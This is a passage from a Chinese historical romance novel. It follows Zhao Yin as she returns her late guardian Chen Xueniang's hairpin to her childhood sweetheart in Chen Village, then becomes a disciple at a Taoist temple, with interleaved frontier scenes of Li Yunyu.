一数数到天快明。”
赵荷来到山月亭的第一晚,陈雪娘哄她们入睡,唱的就是这支童谣。
蒲扇送来的凉风,朦胧昏黄的烛光,轻柔且慢的歌谣,重新从记忆中浮现。
她偏头看,身边没有了赵荷,回头望,身后没有了陈雪娘。
这两个她生命中最重要的人,一个教会她生离,一个教会她死别。
背后有响声,柳叶青手拿着素色披风,微笑着,沉默着站在门外。
原来真正像陈雪娘的,不是赵荷,是她。
“阿吟,我们给雪娘换身衣服吧。”柳叶青扶起长跪的赵吟,将披风披在她身上。
乌黑沉重的木箱打开,樟脑气息和皂角清香混杂,赵吟小心翼翼翻找。
抱着衣裳起身时,有什么东西突然掉落,赵吟来不及捡拾,匆匆离去。
黄四娘隐约的哭声在外面响起,赵吟折返回陈雪娘的房间,注意到地上掉落的纸。
这是一张卷起来的黄褐色牛皮纸,手感粗砾,黑色墨迹透出。
上面有字——去塵州,夕波渡。
“阿吟,我们还需要请一班道士。”柳叶青的声音打断她还未来的思绪。
赵吟放下纸,“我马上去太常观。”
太常观距离山月亭并不远,可是陈雪娘不信神佛,从未带她来此拜过。
赵吟重新骑上那匹马,朝太常观飞奔而去。
阳光下的湖水如碎银,旁边的凉亭檐角断裂,像鸟折翼,几条柱子褪了色,斑驳如树干。
中央树着一块石碑,满是蛛网和灰尘,一捆柴依靠于它,地下还散落着几个腐烂的南瓜。
赵吟疑惑:“怎么有个石碑?”她勒马停下,顺便在此歇息。
来来回回跑了很多趟,手帕都黑得看不出模样,她擦拭干净木制的座椅,也顺带擦拭蒙面的石碑。
久积的灰尘被撕去,它露出真面目。
“赵宴饮马处。”
赵宴,是她祖父。
“对,那个大将军赵宴在这里饮过马!”路过的农人卸下肩上的柴,三两步走进凉亭,他摘下颈间的汗巾子,指着不远处波光粼粼的水面道:“我爷爷还在岸边跟他说过话!”
碰巧有一老人佝偻着腰,沿着湖边缓慢而行,花白之头发单薄之身体,明明走在微风里却似走在风雨里。
“那个老人,我们村儿的,他在这儿给赵宴算过命,说他的后人必有壮举,结果……”
他停了会儿,惋惜道:“算得不准。”
他又靠近赵吟身边,眼神指了下老人道:“所以他后来落魄了。”
老人听
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见他的话,特意拄着拐杖走过来,掷地有声道:“我没算错!”
农夫和老人的话语犹在耳边,赵吟踏上最后一级阶梯,迎面而来的是挂着木牌与红绳的古树,一种莫名的熟悉感袭遍全身,她忽然说:“我来过这里。”
话一出口,连她自己都吓一跳。
仿佛是为了印证什么,她走到树下,几经寻找后捉住一块翩飞的木牌。
“至此莫悲,前行莫畏。
愿尔岁岁,皆胜昭昭。”
背后刻着两个字——赵宴。
她在这里驻足许久,木牌何时而挂?因何而挂?为谁而挂?
头脑犹如一片浓雾,她一个也回答不上来。
但是她记住了“莫悲”、“莫畏”。
“姑娘,你要挂木牌吗?”面容稚嫩的小道长不知何时走了过来。
“噢,不是,我是来请几位道长。”
“随我来吧。”
竹林呼啦啦响,松鼠从屋檐一跃而过,厢房里传出一声声怒骂,赵吟和小道长情不自禁停下脚步。一个书生模样的人怒冲冲走出来,与他们擦肩而过。
“不清修也不打坐,怎么能悟道!道不在书里在哪里?”他突然拽住赵吟的胳膊,问道:“小姑娘,你说,道在哪里?”
赵吟想了想,回答他:“道在心里。”
他丢开手,“哼”一声离去。
爽朗的笑声从屋内传出,赵吟扭过头,见一道长斜倚门框,姿态幽闲,他点头道:“道在心里,道在心里!我是石簌流,你与我有缘。”
赵吟笑:“缘分只在这一面,我还有事,先告辞了。”
石簌流仍然道:“有缘就是有缘。”
高大的树木上长满青苔,鼻息间充斥着烟火气,路过最大的神殿时,赵吟停下脚步。
殿内清寂非常,她跪在蒲团上,虔诚地一拜又一拜。
她在心里问道:“若身陷囹圄,该如何走下去?”
满殿神佛皆不语,他们威严,端庄,神圣,悲悯……
赵吟再一次低下头,请求神明告知答案。
窗户开了一些,阳光照在她的后背上,温暖轻柔。
或许神明已经明示答案——
仅凭你自己,可以度此难关。
山月亭内充斥着低低的吟唱,黄四娘与柳叶青跪在地上折黄纸,赵吟将叠好的纸扔进火盆,看着它灰飞烟灭。
柳叶青哽咽道:“听雪娘的话,不去塵州就好了……”
好像出鞘的剑因锈迹而卡顿,赵吟抬头道:“雪娘说过吗?”
“在你们走后,她才说。”
赵吟疲惫地闭上眼睛,如果不去塵州,她就不会在及笄礼中露脸,也不会空等一场空,更不会失去赵荷。
她还会继续期待夏天,永远,永远。
那张黄褐色的纸突兀地出现在眼前,赵吟睁开眼,剑也出了鞘。
是谁与陈雪娘背道而驰?是谁让她去塵州?
5. 第五章
山月亭只剩下了赵吟和柳叶青两个人,空寂的回廊里没有了脚步声,只有风声。
夜深了,柳叶青合衣躺在床上,她刚刚闭上眼睛,敲门声就像一场急雨。
赵吟带着一身凉意闯进来,“阿青姐姐,雪娘老家在哪里?”
柳叶青拿被子围住她,回答道:“陈家村。”
似乎每州每郡都有个陈家村,崇州有陈家村,二鸣山也有陈家村,赵吟没了头绪。她在烛光下摊开地图,与柳叶青埋头许久,依然一无所获。
橘黄色的灯光使她想起夏日的每一个黄昏,也想起陈雪娘冲泡的海棠茶。
干枯的叶子躺在壶底,开水倒下去,它浮出水面,又慢慢在橘色的茶水中坠落。
“海棠茶是哪里的习俗?”
柳叶青想了想:“楚州。”
去年,陈雪娘还坐在石榴树下缝腰带,她说,腰带要在及笄礼上佩戴。
赵吟第一次听到及笄礼这个话题,问道:“雪娘,你的及笄之礼是什么样的?”
陈雪娘停下动作,视线飞往庭院之外,飞过蒲月山,回到那个遥远而偏僻,山美水美的小村庄。
穷苦人家,何来及笄之礼?早晨吃一碗浮满香油,卧着鸡蛋的长寿面,十五岁的生辰就算过完了。之后照样要去捡柴火,割猪草,做农活,直到夜幕降临吹熄灯烛。
她想起什么,抚了抚花白的头发,露出明朗的微笑:“我跟别人不一样,我有一根木簪子。”
赵吟从怀里拿出那枚木簪,笃定道:“我要送雪娘归乡。”
还是那匹从塵州带回来的马,赵吟稳稳坐在上面,头发用木簪绾起,身上是剪裁得体的粗布麻衣。
春芽萌发,官道旁的黄四娘家已经花满蹊。在她家门口,有一道熟悉的身影。
赵吟翻身下马,恭恭敬敬地走上前,行了一礼。
“夫子。”
袁松年负着手,似乎在此等候良久。
他微笑,从背后拿出柳枝。赵吟眼睛潮湿,慎重接过。
“楚州路远,珍重。”
“多谢夫子。”
袁松年点头,又从怀里拿出一叠油纸,告诉她:“这是搜集来的药方,路上若有头疼脑热,就在这里面翻翻找找。”
赵吟道谢,将药方小心放进怀里,又行了一礼,向其道别。
跨上马背后,她再次回身看向袁松年。
袁松年挥挥手,笑着道:“阿吟,一路顺风!”
马儿带着她飞奔,在凉亭歇息时,赵吟拿出药方细看,那一张张油纸中间,藏了好几张银票。
她不紧不慢地赶路,在一个春意正盛的下午到达楚州陈家村。
村口的小河边,垂钓人如同石像,花瓣漂浮在水面上,也飘落在他们头上。
粉白如雪的杏花在枝头张着嘴笑闹,赵吟望着杏花,嗅着杏花,踏着杏花。
她牵着马一户户人家问:“您知道陈雪娘么?”
大部分人都摇头,是呀,过了五六十年,知道陈雪娘的人怕是都不在了。
问累了,她走到附近的农户家,敲敲门。
“谁呀?”
“我从这里路过,能不能讨一碗水喝?”
“来来来,快些进来。”
棕色桌子上立着黑色陶壶,橘红色的茶水倒进豁口的茶碗,赵吟这一路的疲惫都融化在水中。
“小姑娘,来我们村有什么事儿?”
“我想找你们这儿年龄最大的人。”
女主人笑,跟她说:“顺着这条路一直走,穿过水车旁边的田埂,那里就是了。”
水车“咕噜咕噜”转动,田埂上开满蓝色小花,随着她的脚步摇头晃脑。马儿不甚优雅,将田埂踩出一道道缺口。
赵吟停在一大丛棠棣花下。前方相邻的两间房屋,门前皆花团锦簇,跟黄四娘家不相上下。
一位老先生提着水桶,站在牡丹花从中,他精神焕发,望之六十如许。
察觉到赵吟的出现,他将手中葫芦瓢放下,“小姑娘找谁呢?”
“您认识陈雪娘吗?”
他细看赵吟,笑着说:“认识啊,姑娘你是?”
赵吟想了想,笃定道:“我是陈雪娘的外孙女儿,我叫赵吟。”
“原来是她的外孙女儿……她身体可好?”
赵吟低着头,抱紧了怀里的包裹:“她过世了。”
老人沉默片刻,又问道:“你是来送她归乡?”
“嗯。”
他牵过她的马,走去一旁的马厩,“我是陈在山,叫我陈阿公吧!”
陈在山……赵吟想起来了,陈雪娘没读过书,可是她会念会写“玉在山兮兰在野”。
“雪娘过得好吗?”
赵吟想起她花白的头发,枯瘦的双手,当然还有她爽朗的笑声,沉稳的脚步。
她脱口而出:“很好,子孙满堂,一派和睦!”
陈在山连连点头。
“阿公您呢?”
陈在山摸着胡须:“老人家我,也是子孙满堂,他们都住在附近镇上,我舍不得这几块田!”
赵吟眨眨眼,庆幸地想,还好刚刚撒了谎。
“来者是客,在这里吃晚饭吧!”
“好,不过我要先离开一下。”
赵吟走后,陈在山慢慢坐下,往地上呸了几下,用脚踩了踩。
当地的习俗是,说谎后要往地上吐口水,再踩几下,这样才不会因撒谎惹怒神明。
炊烟在空中翻腾,如溪水奔流。赵吟伴着夕阳归来,手里提着母鸡火腿和一壶米酒。
井水清凉,赵吟拉高袖子,在木盆中扒洗从田埂上摘来的野葱野韭菜。陈在山弯着腰,在一旁剁着火腿与鸡肉。
鸡肉直接倒
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入铁锅,翻炒出油,焦香后倒开水,放葱姜蒜枣,加上几颗红枣。
火腿切片泡一泡,去除多余的盐分,随后与野葱野韭菜同炒。
掌勺的人是赵吟,虽然来者是客,可她不忍心看着老人忙碌。
风箱“呼哧呼哧”喘着气,陈在山坐在灶膛旁边,他问道:“这些菜是雪娘教你的吧?”
“嗯,她厨艺很好!”
木桌正对着水田,赵吟端着鸡汤走出,陈在山紧随其后,他将一个小瓷碟放在桌上,香油浸着半干的红辣椒,香味扑鼻。
赵吟攥着筷子,讷讷盯着它。
从小吃到大的油辣椒,原来根源在这里。
“阿吟吃过吧?”
“嗯,几乎每顿都有。”
他笑一笑,有些得意道:“是我教的。”
他又指着鸡汤说:“鸡肉在锅里煸到焦香,这样出来的鸡汤才更好。”
耳边响起同样的话语,可那是陈雪娘的声音。
赵吟看向陈在山,他低垂着头,用平静的语气说出这些陈雪娘也曾说过的话语。透过这个衰老的老人,她也看到陈雪娘的曾经。
她竟从未想过,陈雪娘也有曾经,并非生来就垂垂老矣。
“这些都是我教她的,没想到她一直记得,如今连她的外孙女儿也记得。”
陈在山看向旁边的屋子,赵吟也随之看去,那是一户普通的村居,跟陈在山家别无二致。
“雪娘以前就住在这里,我们青梅竹马。”
屋角无蛛网,窗柩无积尘,门前打扫得干干净净,开满鲜花。
赵吟突然笑道:“阿公,其实你没有子孙满堂对吧?”
突如其来的发问让陈在山手足无措,慌乱间,他碰翻了手边的酒碗。
“你一直住在这里,是不是在等雪娘回家?”
陈在山没有回答,但是赵吟已经知道答案。她从头发上取下木钗,那上面果然有两个字——在山。
隐隐约约,快要消失不见。
她将木钗递给陈在山,温声道:“这是雪娘的遗物,我想现在应该物归原主。”
“你不是雪娘的外孙女儿吧?”
谎言被戳破,但赵吟并不觉得羞窘,她愉悦地笑起来。
陈在山挑眉:“雪娘哪有你好看!”
他很快收敛起神色,眼神沉得像一口古井,偶尔泛起微小的涟漪。
“她嫁去的那户人家,怎么会教导出这样的你。”
赵吟眼睛起了一层雾,又好像是整个世界都起了雾,雾气弥漫中,那扇沉寂已久的木门突然打开,鸡犬声此起彼伏,一个姑娘兴冲冲扛着锄头走出来,她脸庞圆圆,头发又黑又亮。
“陈在山,你回来了啊……”
赵吟转向陈在山,那张布满岁月痕迹的脸庞慢慢淡去,眼前出现一个白面书生,那是年轻的陈在山。
6. 第六章
在功名利禄是大部分人的毕生追求时,陈在山偏偏背道而驰,他不爱功名爱田园,但也不得不一次次应试,一次次失败,然后高兴归来。
挎着布包走在熟悉的水田间,不时有人打招呼:“在山,这次考得怎么样?”
陈在山支支吾吾:“就那样吧……”
“好啦好啦,乡试这么难,十里八乡也出不了一个,大不了就种田嘛!”陈雪娘不知从哪里走出,笑嘻嘻打圆场。
只剩下两个人时,陈雪娘悄悄问:“还考吗?这都是第几次了?”
“还要考,不然我爹娘不乐意。”
陈雪娘气愤:“又要你种田,又要你读书科考,他们就待在大儿子家享乐!”
陈在山安慰道:“没关系,再失败几次估计他们就放弃了。”
“不要这样说,我相信你!”
“锄头给我呀。”
“你刚回来,好好歇着吧!”
水田上映着蓝天白云,又映着漫天霞光,陈雪娘的祖母坐在门前编竹篓。
“祖母,今天我来准备晚饭。”
祖母放下竹篓,笑呵呵回屋张罗给他们倒水。
“我先去看看我家的菜地,估计杂草都长满了。”
陈雪娘大手一挥:“早给你挖好了,黄瓜茄子都种下了。”
陈在山笑,转身去厨房帮忙,打开锅盖一看,黑黢黢一团。
陈雪娘不好意思道:“中午煮的米饭,煮糊了,用水泡着。”
“……”
这顿晚饭的实际掌勺人变成了陈在山,母鸡煨汤,火腿炒野葱,还有他出发前酿的米酒。
“雪娘,你快及笄了。”
“什么鬼?”
“你快十五岁了!”
“哦,是快了。”
“你想要及笄礼吗?”
“什么鬼?”
“你想要生辰礼物吗!”
“噢,想要的,我想要换一把镰刀。”
“……”
陈在山没有送她镰刀,送了她一根木簪子。
但他真正想送的并非木簪子,而是银簪子,仅靠这几亩薄田,几年也买不上一支,他终于正视起乡试。
第二年春,他再次踏上赶考之路。等他回来时,已经是秋天,刚到村口就有人围上来问:“你去哪里了,怎么才回来,雪娘到处找你啊!”
“通过乡试了,就留在那边准备会试,如今会试也过了,雪娘怎么了?”
“哎,哎……”那人叹息几声,闭口不再谈。
家门口堆满落叶,旁边的菜园野草疯长,屋内倒是整洁,桌上还有未喝完的半碗茶。
“在山,都传你通过乡试和会试了,真的吗?”挎着竹篓的乡邻经过,大着嗓门问道。
陈在山从恍惚中回神,轻轻“嗯”了一声。
“哎呀,原来她哥嫂说的是真的!”
“雪娘的哥嫂?”
“是呀,你走后不久她祖母就过世了,哥嫂跑回来争家产,她也不计较,就住在你家里,后来被哥嫂卖给人家当媳妇抵债,逃了,到处找你找不到,又被捉住,后来又回来了一次,那家人直接拿绳子过来抓她,我帮着她,还被打了几拳……”
陈在山脸色铁青,邻人拉住他,叹了口气道:“别去了……当时她挣扎得厉害,一直在喊陈在山,她哥嫂说你过了乡试,连会试都过了,她就不挣扎了……”
他近乎癫狂地将陈雪娘哥嫂从隔壁赶出去,而他们也破口大骂:“我死也不会告诉你她在哪!”
他放弃了去塵州参加殿试,到处寻找陈雪娘的身影,可是一无所获。
后来他想,陈雪娘回来第一次,又回来第二次,说不定会回来第三次。那就慢慢等吧,万一她回来,自己不在,岂不是又要错过了?
他安安心心当起了农夫,照料着几块田,会试会元这一名号使他并不缺钱。
他没有再见过陈雪娘。
赵吟泣不成声,她说:“阿公,雪娘就在塵州啊!”
陈在山不说话,摩挲着木钗,目光柔和。
“就算找到了她,她也不会跟我走的。”
“为什么?”
“她被捉走两次,都要拼命逃出来,可一听说我过了会试,她就不挣扎了。”
他叹一口气,慢慢说:“因为她哥嫂知道,她比谁都希望我前途无量。”
所以她放弃了。
陈在山看着她,温声道:“而且,她也有了自己的使命。给我讲讲以后吧……她是怎么有了你这样一位外孙女儿?”
赵吟看着漫天的星子露出微笑:“她在塵州,当了我母亲的保母,然后又到了蒲月山……”
她讲起柳叶青,讲起赵荷,也同样讲起李韫玉。
已经很久没提过他了,但是不提不代表忘记。他的影子在心底,像一湖水,风吹得动,又吹不走。
玉门关外的号角声一如往常,夜深人静,李韫玉带着一身酒气走回房内,刘月回扶着他:“又跟公孙先生喝酒了?”
他“嗯”一声。
刘月回“啧啧”几声:“才半年啊,你都成酒鬼了!”
“酒能消愁。”
“还记得你以前那个小侍卫吗?”
“哪一个?”
“去年你派他送东西,结果被劫住了,死里逃生爬出来,又打听到你在这儿,硬是找了过来,写了一封求见信,说有东西要给你。”
门外的何如己看到他,喜极而泣:“小侯爷,我总算见到你了!”
与此同时,圆月之下,一行队伍出现在广阔的大地上,红衣红车顶,灯火盏盏,像是流动的河。
刘月回叹道:“壮观!”
“这是什么?”
“应该是和亲的队伍。”
李韫玉靠着栏杆,问他:“和亲的是谁?”
“月一郡主李春序。”
李韫玉猛然抬头,半月前他分明在集市上见过她。
“不是李春序。”
“那是谁?我去问问。”
队伍越走越远,何如己感叹:“要过玉门关了。”
红妆快要消失不见,刘月回垂着头归来,嘴唇张开又抿起,根本不敢看李韫玉的眼睛。
何如己催促他:“是谁呀?”
刘月回深呼吸:“董太后不愿意让李春序和亲,换了一个人。”
何如己的心忽然“扑通扑通”跳了起来。
“含章郡主。”
李韫玉漫不经心道:“那是谁?我怎么从未听说过含章郡主?”
刘月回面有不忍
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:“是赵吟。”
尘土飞扬,刘月回呛了好几口,他拉着缰绳,卯足劲追逐前面的李韫玉。
马儿受惊,李韫玉摔下马背,他亦跳下马,在沙土中翻滚好几下,紧紧压住他:“阿韫,你冷静一点,那是和亲的队伍,前方是玉门关,你想和西戎打起来吗?你忘记自己要做什么了?”
李韫玉不答话,仍然挣扎着往前。
追过来的何如己跺一下脚,突然拉过刘月回的马,扬鞭直奔玉门关而去。
离队伍越来越近,他跳下马,往前追去,大喊:“欸——停下——”
队伍的最后一个人回首,眼神中满是不解,随后转回头,跟上前方。
玉门关门大开,他们徐徐进入,像河流入海。
何如己急得满头大汗,大喊:“阿吟姑娘,李韫玉在后面啊!”
“吱呀”一声,大门合上。
“玉门关”三个字威严沉默,无声地告诉他,就连春风也度不过,过不去了。
风在呜咽,李韫玉踉踉跄跄推开屋门,拿起何如己交给他的信封,从里面抽出一纸信笺。
“明日黄昏,望月河边。”
木钗还给了陈在山,赵吟拿出一枚云鹤发簪。
她住在陈雪娘家里,抚摸她编织的竹席,听陈在山讲她的过去。
在夜晚,她有时候梦到天水相接的海面,有时候梦到自己坐在马车里,车外金光照亮雪山,有时候又是异国场景,她自己都分不清到底是现实还是梦境。
偶尔还会听见一阵风,可明明门窗都紧闭。
那不是山谷的风,山谷的风带着湿润的水汽,偶尔还会有雨露的气息。这种风凛冽强劲,带有星辰的印记,她从未感受过这样的风,但她就是知道,这是雪山上的风。
她过着隐居生活,体验着孤独,做着自由的梦。
她哪里也不想去,像是断了线的风筝,飞不起来,又挂在树上坠不下去。
她在这里住到了夏天。
夏天的早晨像个清爽的少年郎,赵吟摆弄着牵牛花的藤曼,陈在山走到她身后:“阿吟,来吃烤羊腿吧!”
羊腿架在火上“滋滋”冒油,香气盖住了蝉的噪鸣。
“阿吟,在这里住得开心吗?”
赵吟迟疑了下,点头。
“想一直住下去吗?你也像我一样,志在田园?”
赵吟沉默。
陈在山笑一笑,往土陶碗里倒了米酒,递给她。
他席地而坐,赵吟也跟着坐下。
“今日是我生辰。”
赵吟惊讶,她什么也没有准备。
“我老了,将这生辰愿望转送给你,你有什么愿望吗?”
陈在山盯着她,不容她逃避,不许她逃避。他要她重新勇敢,要她说出来,要她爬起来,要她站起来。
赵吟没有让他失望,她站起来,面对着湛蓝澄澈的天空:“第一个愿望,想认识我的亲人。”
想知道他们的个性品行,想走他们走过的路,想读他们读过的书。
陈在山微笑,等着她继续说下去。
赵吟却低下头,眉头皱起,眼神中盛满哀戚,陈在山以为她快要哭泣时,她抬起头,清晰而又缓慢道:
“第二个愿望,想见赵荷。”
7. 第七章
饶是陈在山,也吸了一口气。
赵吟笑笑,她知道有些异想天开。
“第三个愿望……”她沉思许久,然后道:“想放在心里。”
陈在山满意地颔首,“你看,你清楚地知道自己心中所想,所以阿吟,该离开了。”
眼睛有些发酸,赵吟看向远方:“我知道,我一直都知道。”
“雪娘养育你长大,赵荷替你和亲,柳叶青守着山月亭,难道是想看着你在这儿孤独一生?或是让我替你择一个夫婿,在此相夫教子?”
赵吟摇头,不是的,不是的。
她们希望自己开心快乐,希望自己此生尽兴。
“我知道你有很多困惑,很多犹豫,我也明白前路布满荆棘……可是阿吟,只有往前走,你才知道自己的人生之路!”
第二天,赵吟收拾好行囊,推开门的时候,陈在山微笑着站在门外,也不知站了多久。
她看着他,又好像是看见了雪娘。
“陈阿公,我要走了。”
陈在山将手里的布包递给她,“去太常观吧!或许能在那里解开困惑。”
赵吟接过布包,发现布包旁缝着的平安符,跟陈雪娘缝的一模一样。
秋景怡人,她嗅着瓜果的芬芳,着看逐渐变黄的绿叶,到达一鸣山脚下的客栈。
客栈无马厩,她将马儿暂放在附近的农家,给与钱财托他们好生照料。
一切忙完,她重回客栈。
躺下的瞬间,许多回忆涌来,她忽然没了睡意,听着后院的水井滴水,嘀嗒,嘀嗒……窃窃私语声就在水的“嘀嗒”中慢慢清晰。
看看月亮,已是后半夜。
“今天住的那个姑娘怎么样?”
“我看她行囊扁扁,穿着平常,不值得动手。”
“一个女子骑马走大路,你敢信没钱?”
赵吟睁大眼,她小心坐起,将贵重之物全部藏进怀里,发簪拔下,牢牢握在手里。
门外有动静,“吱呀”,门开了。
果然翻起了她的行囊,赵吟心中冷哼,感觉到气息靠近脸庞,她猛然睁眼,
抬手刺去,那人吃痛,赵吟旋身下床,抄过行囊。
有一个络腮胡顺势挡在门前,阻住她的去路,赵吟看向桌面,拿起茶杯掷向他,最后直接拿起板凳砸门。
滔天的气势震住了房内的两人,这段时日积攒的怨气怒气郁气倾涌而出,赵吟毫无章法,胡乱发挥,木屑,瓷片,砖瓦……一时乱飞。
“怎么了这是?”
老板娘闻声而出,见状两腿一蹬,哭天抢地。
赵吟冷冷看着她,不信她与这些人没有勾结,否则他们怎么会有钥匙开门。她抬手整理好头发,再次用发簪绾好。
“你别走!砸成这样,要赔钱!”
赵吟拿过拐角的花瓶,狠狠摔在她面前,然后穿过围观的人群,在议论声中走出客栈。
屋外秋雨阴冷,赵吟抱着胳膊立在树下。检视一下行囊,并没有丢失什么,她舒了口气。
不过,她想,还是丢失了一些东西,比如说,淑女气。
雨幕密密,拂晓降临,赵吟靠着树干,疲惫不已。
雨雾之中,有一人从通往太虚观的台阶拾级而下,他撑着油纸伞,一派仙风道骨。
那是谁?
赵吟抹去脸上的雨水,见他直直朝自己走来。
他朗笑道:“静须昨日卜卦,说有人与我有师徒缘,催我速速下山,我以为是谁呢,原来是你啊!小姑娘,又见面了……”
又见面了?心中的迷雾开始聚起,赵吟看向他。
他挑眉:“徒儿,随为师上山吧!”
迷雾散去。
他是石簌流。
晨钟悠远,赵吟撑着伞随他蜿蜒而行。
雨渐停,山岭空旷,云雾缭绕,一轮红日破云而出,天地悠悠。
她终于体会到,最极致的孤独,其实也是最广阔的自由。
太常观门口围了很多人,胡须花白的静须道长将本就不大的眼睛睁大了好几倍,绕着赵吟转了好几圈,满眼不可置信。
石簌流笑呵呵:“不是你占的卦吗?”
静须道:“卦上可没说是女子。”
石簌流一摊手,把赵吟丢在人群中,自己去了书阁。
很快有一个年轻的道士走到赵吟身边,他身量不高,长相周正。
“小师妹,我是静须道长的弟子,王道一。”
“师兄,我是赵吟。”
“能入石道长法眼的人,你是第一个!”
赵吟惊讶。
王道一解释道:“不然你以为仅凭一个卦象,道长就随意收徒?”
赵吟问出了心里的疑惑:“师傅为何名气这么大?”
王道一笑:“你是不是以为得道就是斩断七情六欲,远离红尘?”
赵吟也笑,她以前一直都这样认为,现在发现并非如此。
“石道长也曾翻遍典籍苦苦求道而不得,有一天,夜深人静,他突然冲到门外大笑,然后大喊‘我不是我!’师傅们吓了一大跳,以为他魔怔了,后来才发现,他只是悟道了。”
赵吟想起第一次见到他时,他点头称许的一句话——道在心里。
道是什么呢?
太常观的道士们除了日常修行,还会祈福超度,占卜行医。
茶水咕噜噜响,赵吟伏在桌子上学画符纸,石簌流在书架边整理藏书。
“阿吟师妹!”
王道一冲进来,拉着赵吟欲走。
石簌流大喝:“干什么慌慌张张,把手松开!”
王道一触电般收回手,恭恭敬敬向石簌流禀报:“静须师傅派我下山,其余弟子都在晨练,我想着只有小师妹有空。”
“干嘛去?”
“给小儿收惊。”
石簌流挥挥手表示应允。
赵吟半是好奇半是疑惑,她边走边问:“怎么个收惊法?”
“去了就知道啦!”
下山路远,两人饥肠辘辘,找了一家面馆坐下来吃饭。
王道一点了两碗鱼汤面,问赵吟:“小师妹,你什么时候再负责斋饭?上次你做的野葱山菌我现在还念念不忘!”
赵吟道:“再过几天就轮到我了。”
隔壁桌的人在谈论时事,赵吟一边听,一边吃。
无论是陈家村,还是太常观,都远离世俗,她已经很久没有关注天下时局。
“你说这
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天下也变得够快,去年是李沅,后来又是董太后和周檁勾结,结果现在周檁跟董太后打起来了!”
“都是这样,你看以前的赵宴,当大将军的时候多么风光,后来还不是尘归尘土归土……”
“还有那个伯安侯家的小公子,现在怎么着,都说他是乱臣贼子!”
“噢!我知道,伯安侯一家被围困,结果他的儿子李韫玉归顺了周檁,气得他大骂他是不肖子孙!”
“嘘……别说了,有人在看我们。”
王道一叩响了农户家的门,一名圆脸妇人满脸惊喜:“道长来了!”
她将两人带进屋内,端上早已备好的茶水。卧房内,男子抱着怀里的婴孩“欧欧”哄着。
王道一拿出小米装在碗里,让赵吟拿着在小儿头上转圈,他拿出一个铃铛,对着啼哭不已的婴孩晃了晃,口中念念有词:
“荡荡游魂何处留存?虚惊异怪坟墓山林。今请山神五道路将军,当方土地家宅灶君查落真魂,收回附体,筑起精神。天门开,地门开,千里童子送魂来。吾奉太上老君急急勅令!”
赵吟想起了陈雪娘,她在临终前握着自己手,轻声念叨什么,原来那是收惊咒,她害怕自己被吓到。
可是她怎么会害怕?
上山路上,王道一在背后絮絮叨叨:
“小师妹,你学着些,到时候也能给别人收惊,穷苦人不收钱,富人家收点钱!”
“小师妹,你走慢点!你知道吗,好多人都说你长得像画中人!”
“阿吟阿吟,以前是不是有很多人喜欢你?”
赵吟停住脚步。
有吗?她不知道。
“那阿吟,你有喜欢过别人吗?”
她没有回答,王道一也不在意,他只是想聊天解乏,并不是非要探听隐私。
良久良久,他听到轻轻的一声:“有的。”
很轻很轻,轻如叹息。
何如己掀开门帘,夜半秋雨,今天居然是个大好的晴天。他提着热水走进营帐,叫醒李韫玉。
“小侯爷,该起床了。”
帐外有人押着俘虏路过,那俘虏见到李韫玉,忽然停住,在外面破口大骂:“你个乱臣贼子,李家的叛徒!”
何如己一愣,慌慌张张走去门边,想放下门帘。
李韫玉道:“算了。”
他下意识从床边拿起一壶酒,送到嘴边时却又停住。
也有人这样骂过赵吟,在她为了赵荷跟人打架时,那人骂她:“她的祖父是乱臣贼子!”
看着他发呆,何如己安慰道:“小侯爷,别难过!”
李韫玉仰头道:“那个时候,阿吟是不是也很难过?”
然后,他将手里的酒壶扔出门外,整个人如释重负,眼神亦变得清亮。
他说:“到此为止!”
因为不管遇到什么,阿吟都会好好生活。
又是秋天,去年秋天的一幕幕在他心中挥之不去,父亲的眉眼也再次清晰。
哀伤,绝望,他第一次看到父亲露出这样的表情,令他想要抽出被他紧握的手。
然后,他的眼神变得明亮,像经历了一番哭泣。
他说:“阿韫,眼下有一条路,你非走不可!”
8. 第八章
“我若是投诚,旧部就会为周檁所用,李家再无出头之日。若是不投诚,我们就会永拘于此。
我要你假意归顺,让天下重回李家!
这条路艰险难走,可是阿韫,你必须走下去!”
每次想起李梁仪的这段话,他也同时会想起他坚定而孤注一掷的眼神,和房间内孱弱摇晃的烛火。
在他终于反握住他的手,回答出“好”之后,他就没有再见过他,也没有再见过母亲。
他们在哪里?过得好吗?是生还是死?
只有周檁知道,可他不能去问,父子“反目”让他们脱离被囚禁的命运,也表明他归顺的决心。
“小侯爷,我们去训练吧!”
“好。”
两年,赵吟往返于蒲月山与太常观,日子长长又短短,桃花开又落,流水不东归。青梅醋酿了好几坛,樱桃也熟了好几回。
记忆里鲜妍温和又沉默的阿青姐姐,脸上也有了岁月的痕迹。
山月亭被柳叶青收拾得井井有条,屋檐下的酱菜坛,院子里晾晒的腊菜都跟陈雪娘在时一模一样,庭院里甚至多了很多花。
只要柳叶青还在这里,她就永远有家。
她们偶尔会谈论起陈雪娘。
“当年我被哥嫂驱出家门,雪娘毫不犹豫地收留我,原来同病相连……”
陈雪娘收留了柳叶青,赵吟收留了赵荷,柳叶青代替陈雪娘继续守在山月亭,而赵荷代替赵吟远去大漠。
像是一种宿命的轮回。
夜晚,赵吟躺在熟悉的床上,手摸向枕底,拿出那张她已看过无数次的牛皮纸。
——去塵州,夕波渡。
该去吗?
是听雪娘的话,还是听纸上的话?
“哧啦”一声,大殿里的窗纸被撕开,阳光一下子涌进殿内,照亮所有灰尘。
王道一气喘吁吁提来一桶糨糊,惊喜道:“欸欸——阿吟师妹,你回来啦!”
赵吟将一小坛木瓜醋递给他,“谁要来呀,怎么连窗纸都重新换过?”
“这几天周将军来拜山,我们有的忙了……”
“周将军,哪个周将军?”
“周檁,好色的很!到时候你们都别出来!”
山里的夜晚要比山下更冷,赵吟摊开被褥,忽听见一阵敲门声。
推开门,刚来不久的小师妹贺菱跳进来,撒娇道:“阿吟师姐,这几天我想跟你呆在一起,可不可以嘛?”
“当然可以!”
灯吹熄,一夜安宁。
吵醒她们的是外面的嘈杂声,而非晨钟。
几更了?
赵吟轻手轻脚下床,听见门外人声鼎沸。
凑近窗户,看不真切,她走到门边,靠近门缝往外看去。
外面站了两排士兵,长靴盔甲,恭敬垂立。一人来回踱步,身材魁梧。
这一排都是女弟子厢房,此举可耻可恨,赵吟不自觉皱眉。
温热的气息铺在眼睛上,那是呼吸。她头皮发麻,迅速后退。
下边门缝里突然塞进来一张纸。
“他们来了,快藏起来。”
赵吟舒了一口气,这是王道一的笔迹。
贺菱翻了个身,嘟囔道:“阿吟师姐,外面是什么,好吵啊!”
赵吟扑过去,捂住她的嘴,悄悄摇头。
窗外亮了又暗,渐渐没了光亮,月色不明,赵吟眼中一片漆黑。
她观察了片刻,突然低声道:“阿菱,你觉不觉得有些不对?”
